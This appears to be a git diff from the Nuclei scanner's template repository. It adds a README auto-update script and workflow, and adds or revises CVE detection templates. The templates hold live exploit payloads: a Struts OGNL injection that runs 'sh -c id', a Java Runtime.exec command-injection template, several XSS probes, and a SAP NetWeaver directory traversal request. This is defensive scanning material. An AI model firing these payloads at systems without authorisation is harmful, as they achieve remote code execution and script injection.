Adding content type checks for XSS templates

Auto Update README [Sun Dec 13 19:12:38 UTC 2020] 🤖
Merge pull request #675 from geeknik/patch-27
2026-11-07 08:36:19 -10:00 · 2020-12-14 00:54:23 +05:30 · 2020-12-13 19:12:38 +00:00 · 2020-12-14 00:42:16 +05:30 · 2020-12-13 18:18:59 +00:00 · 2020-12-13 23:48:19 +05:30
126 changed files with 61602 additions and 492 deletions
@@ -0,0 +1,49 @@
+f"""
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### Nuclei templates `{version}` overview
+
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | {countTpl("cves")} | files | {countTpl("files")} |
+| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
+| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
+| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
+| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
+| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
+| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
+| wordlists | {countTpl("wordlists")} | misc | {countTpl("misc")} |
+
+
+### Nuclei templates `{version}` tree overview
+
+<details>
+<summary> Nuclei templates </summary>
+
+```
+{command("tree", 1, -2)}
+```
+
+</details>
+
+**{command("tree", -2, None)}**.
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+
+------
+**Notes:** 
+1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
+2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import os
+import subprocess
+
+def countTpl(path):
+	return len(os.listdir(path))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()
@@ -0,0 +1,44 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+  create:
+    tags:
+      - v*
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -1,11 +1,10 @@
 .pre-commit-config.yaml
-security-misconfiguration/missing-x-frame-options.yaml
-security-misconfiguration/missing-hsts.yaml
-security-misconfiguration/missing-csp.yaml
-security-misconfiguration/basic-cors-flash.yaml
 cves/CVE-2017-7529.yaml
 cves/CVE-2020-13379.yaml
 cves/CVE-2013-2251.yaml
+cves/CVE-2020-16139.yaml
+cves/CVE-2019-15858.yaml
 vulnerabilities/x-forwarded-host-injection.yaml
 fuzzing/
-workflows/
+wordlists/
+misc/
@@ -1,3 +1,4 @@
+
 # Nuclei Templates

 [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
@@ -10,36 +11,35 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### nuclei templates `v7.2.0`
+### Nuclei templates `v7.3.1` overview

-| Template Directory      	| Number of Templates      |
-|---------------------------|--------------------------|
-| cves                     	|125                       |
-| default-credentials       |03                        |
-| dns                     	|04                        |
-| files                     |44                        |
-| fuzzing                   |02                        |
-| generic-detections        |03                        |
-| panels                    |39                        |
-| security-misconfiguration |25                  	   |
-| subdomain-takeover        |02           			   |
-| technologies              |32      				   |
-| tokens                    |08                        |
-| vulnerabilities           |33          			   |
-| workflows                 |15              		   |
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | 141 | files | 43 |
+| vulnerabilities | 40 | panels | 45 |
+| technologies | 40 | security-misconfiguration | 24 |
+| workflows | 16 | tokens | 8 |
+| dns | 6 | fuzzing | 6 |
+| generic-detections | 3 | default-credentials | 3 |
+| subdomain-takeover | 2 | payloads | 2 |
+| wordlists | 1 | misc | 13 |

-### nuclei templates `v7.2.0` tree overview 
+
+### Nuclei templates `v7.3.1` tree overview

 <details>
-<summary>Template Directory</summary>
+<summary> Nuclei templates </summary>

 ```
+├── LICENSE.md
+├── README.md
 ├── cves
 │   ├── CVE-2005-2428.yaml
 │   ├── CVE-2013-2251.yaml
 │   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
 │   ├── CVE-2017-11444.yaml
+│   ├── CVE-2017-12637.yaml
 │   ├── CVE-2017-14537.yaml
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
@@ -55,6 +55,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-1271.yaml
 │   ├── CVE-2018-1273.yaml
 │   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-13380.yaml
 │   ├── CVE-2018-14728.yaml
 │   ├── CVE-2018-16341.yaml
 │   ├── CVE-2018-16763.yaml
@@ -70,19 +71,19 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-7490.yaml
 │   ├── CVE-2019-1010287.yaml
 │   ├── CVE-2019-10475.yaml
-│   ├── CVE-2019-11043.yaml
 │   ├── CVE-2019-11248.yaml
 │   ├── CVE-2019-11510.yaml
 │   ├── CVE-2019-11580.yaml
+│   ├── CVE-2019-11581.yaml
 │   ├── CVE-2019-12314.yaml
 │   ├── CVE-2019-12461.yaml
 │   ├── CVE-2019-12593.yaml
+│   ├── CVE-2019-12725.yaml
 │   ├── CVE-2019-14322.yaml
 │   ├── CVE-2019-14696.yaml
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
 │   ├── CVE-2019-15107.yaml
-│   ├── CVE-2019-15858.yaml
 │   ├── CVE-2019-16278.yaml
 │   ├── CVE-2019-1653.yaml
 │   ├── CVE-2019-16662.yaml
@@ -100,9 +101,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3402.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
 │   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-6340.yaml
 │   ├── CVE-2019-6715.yaml
 │   ├── CVE-2019-7256.yaml
 │   ├── CVE-2019-7609.yaml
@@ -111,31 +114,42 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
 │   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9670.yaml
+│   ├── CVE-2019-9733.yaml
 │   ├── CVE-2019-9978.yaml
+│   ├── CVE-2020-0618.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
 │   ├── CVE-2020-11034.yaml
 │   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-11738.yaml
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-13942.yaml
 │   ├── CVE-2020-14179.yaml
 │   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-14864.yaml
+│   ├── CVE-2020-14882.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16846.yaml
 │   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-23972.yaml
 │   ├── CVE-2020-24223.yaml
 │   ├── CVE-2020-24312.yaml
 │   ├── CVE-2020-2551.yaml
 │   ├── CVE-2020-25540.yaml
+│   ├── CVE-2020-26214.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-4463.yaml
 │   ├── CVE-2020-5284.yaml
 │   ├── CVE-2020-5405.yaml
 │   ├── CVE-2020-5410.yaml
@@ -145,6 +159,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-5902.yaml
 │   ├── CVE-2020-6287.yaml
 │   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7318.yaml
 │   ├── CVE-2020-7961.yaml
 │   ├── CVE-2020-8091.yaml
 │   ├── CVE-2020-8115.yaml
@@ -152,15 +167,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8209.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9047.yaml
 │   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
-│   ├── CVE-2020-9757.yaml
-│   ├── cve-2019-9733.yaml
-│   └── cve-2020-0618.yaml
+│   └── CVE-2020-9757.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
 │   ├── rabbitmq-default-admin.yaml
@@ -169,11 +183,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
 │   ├── dead-host-with-cname.yaml
-│   └── servfail-refused-hosts.yaml
+│   ├── mx-service-detector.yaml
+│   ├── servfail-refused-hosts.yaml
+│   └── spoofable-spf-records-ptr.yaml
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
-│   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
 │   ├── domcfg-page.yaml
 │   ├── druid-monitor.yaml
@@ -187,18 +202,17 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── filezilla.yaml
 │   ├── firebase-detect.yaml
 │   ├── git-config.yaml
-│   ├── htaccess-config.yaml
+│   ├── htpasswd-detection.yaml
 │   ├── jkstatus-manager.yaml
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
 │   ├── magento-config.yaml
-│   ├── ntlm-directories.yaml
 │   ├── php-errors.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
+│   ├── redmine-db-config.yaml
+│   ├── server-private-keys.yaml
 │   ├── server-status-localhost.yaml
 │   ├── shell-history.yaml
 │   ├── sql-dump.yaml
@@ -214,30 +228,50 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-installer-log.yaml
 │   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
-│   ├── wp-xmlrpc.yaml
 │   ├── wsdl-detect.yaml
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
+│   ├── basic-auth-bruteforce.yaml
 │   ├── directory-traversal.yaml
-│   └── generic-lfi-fuzzing.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   ├── iis-shortname.yaml
+│   └── wp-plugin-scan.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
 │   └── top-15-xss.yaml
+├── misc
+│   ├── basic-cors-flash.yaml
+│   ├── dir-listing.yaml
+│   ├── htaccess-config.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── ntlm-directories.yaml
+│   ├── robots.txt.yaml
+│   ├── security.txt.yaml
+│   ├── trace-method.yaml
+│   ├── unencrypted-bigip-ltm-cookie.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── xml-schema-detect.yaml
 ├── panels
 │   ├── adminer-panel.yaml
 │   ├── aims-password-mgmt-client.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
+│   ├── citrix-vpn-detect.yaml
 │   ├── compal.yaml
 │   ├── crxde.yaml
 │   ├── docker-api.yaml
 │   ├── fortinet-fortigate-panel.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
 │   ├── globalprotect-panel.yaml
 │   ├── go-anywhere-client.yaml
 │   ├── grafana-detect.yaml
+│   ├── identityguard-selfservice-entrust.yaml
 │   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
@@ -246,6 +280,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mobileiron-login.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
+│   ├── oipm-detect.yaml
 │   ├── parallels-html-client.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
@@ -270,7 +305,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
-│   ├── basic-cors-flash.yaml
+│   ├── apache-tomcat-snoop.yaml
 │   ├── basic-cors.yaml
 │   ├── django-debug-detect.yaml
 │   ├── drupal-user-enum-ajax.yaml
@@ -284,9 +319,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
 │   ├── manage-engine-ad-search.yaml
-│   ├── missing-csp.yaml
-│   ├── missing-hsts.yaml
-│   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── salesforce-aura-misconfig.yaml
@@ -303,36 +335,40 @@ An overview of the nuclei template directory including number of templates and H
 ├── technologies
 │   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
+│   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
-│   ├── citrix-vpn-detect.yaml
+│   ├── cacti-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
 │   ├── favicon-detection.yaml
-│   ├── github-enterprise-detect.yaml
-│   ├── gitlab-detect.yaml
 │   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kibana-detect.yaml
 │   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
 │   ├── lotus-domino-version.yaml
 │   ├── magmi-detect.yaml
+│   ├── mrtg-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
 │   ├── oidc-detect.yaml
 │   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
+│   ├── prtg-detect.yaml
+│   ├── redmine-cli-detect.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── terraform-detect.yaml
 │   ├── tomcat-detect.yaml
 │   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
@@ -355,11 +391,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── eclipse-help-system-xss.yaml
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── mcafee-epo-rce.yaml
 │   ├── microstrategy-ssrf.yaml
 │   ├── mida-eframework-xss.yaml
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
+│   ├── nuuo-nvrmini2-rce.yaml
 │   ├── open-redirect.yaml
 │   ├── oracle-ebs-bispgraph-file-access.yaml
 │   ├── pdf-signer-ssti-to-rce.yaml
@@ -385,27 +423,30 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-wordfence-xss.yaml
 │   ├── wordpress-wpcourses-info-disclosure.yaml
 │   └── zms-auth-bypass.yaml
+├── wordlists
+│   └── wp-plugins.txt
 └── workflows
    ├── artica-web-proxy-workflow.yaml
-    ├── bigip-pwner-workflow.yaml
+    ├── basic-auth-workflow.yaml
+    ├── bigip-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
-    ├── jira-exploitaiton-workflow.yaml
-    ├── liferay-rce-workflow.yaml
+    ├── jira-workflow.yaml
+    ├── liferay-workflow.yaml
    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
    ├── mida-eframework-workflow.yaml
-    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── netsweeper-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
-    ├── springboot-pwner-workflow.yaml
+    ├── springboot-workflow.yaml
    ├── vbulletin-workflow.yaml
    └── wordpress-workflow.yaml
 ```

 </details>

-14 directories, **352 templates**. 
+**16 directories, 395 files**.

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -415,4 +456,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
-
@@ -1,6 +1,6 @@
 id: cve-2005-2428
 info:
-  name: CVE-2005-2428 testing
+  name: CVE-2005-2428
  author: CasperGN
  severity: medium

@@ -2,24 +2,45 @@ id: cve-2013-2251

 info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
-  author: exploitation
+  author: exploitation & @dwisiswant0
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+  - payloads:
+      params:
+        - "redirect"
+        - "action"
+        - "redirectAction"
+    raw:
+      - |
+        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
+          - 400
+        condition: or
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
      - type: word
        words:
-          - "uid="
-        condition: and
+          - "There is no Action mapped for namespace"
+          - "The origin server did not find a current representation for the target resource"
+          - "Apache Tomcat"
+        condition: or
        part: body
@@ -0,0 +1,28 @@
+id: cve-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Referer: {{Hostname}}/maint/index.php?packages
        Content-Length: 160
@@ -33,7 +32,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: {{Hostname}}/maint/index.php?packages
        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
@@ -22,4 +22,9 @@ requests:
      - type: word
        words:
          - '"><script>alert(document.domain);</script><'
-        part: body
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -24,7 +24,7 @@ requests:
        Connection: close
        Content-Type: application/x-www-form-urlencoded

-        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
    matchers:
      - type: regex
        regex:
@@ -0,0 +1,31 @@
+id: cve-2018-13380
+
+info:
+  name: Fortinet FortiOS Cross-Site Scripting
+  author: shelld3v
+  severity: medium
+  description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
+  type: XSS
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=alert(1337)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
+
+      - type: status
+        status:
+          - 200
@@ -9,8 +9,15 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<h1xxx<scriptalert(1)</script"
        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 91
        DNT: 1
@@ -18,3 +18,8 @@ requests:
        words:
          - "<svg/onload=alert(1337)>"
        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,18 +0,0 @@
-id: cve-2019-11043
-
-info:
-  name: PHP-FPM & nginx RCE
-  author: geeknik
-  severity: high
-  description: https://github.com/neex/phuip-fpizdam
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
-
-    matchers:
-      - type: word
-        words:
-          - "/bin/which"
-        part: body
@@ -0,0 +1,38 @@
+id: CVE-2019-11581
+
+info:
+  name: Atlassian Jira template injection
+  description: There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
+  author: ree4pwn
+  severity: critical
+  reference: https://github.com/jas502n/CVE-2019-11581
+  product: Jira
+
+  # This is detection template only, use the referenced link for the exploitation.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ContactAdministrators!default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "\\(v4\\.4\\."
+          - "\\(v5\\."
+          - "\\(v6\\."
+          - "\\(v7\\.[012345789]\\."
+          - "\\(v7\\.1[0-2]\\."
+          - "\\(v7\\.6\\.([0-9]|[1][0-3])"
+          - "\\(v7\\.\\13\\.[0-4]"
+          - "\\(v8\\.0\\.[0-2]"
+          - "\\(v8\\.1\\.[0-1]"
+          - "\\(v8\\.2\\.[0-2]"
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "Contact Site Administrators"
+        part: body
@@ -23,3 +23,7 @@ requests:
        words:
          - '"</script><script>alert(document.domain);</script><script>'
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,27 @@
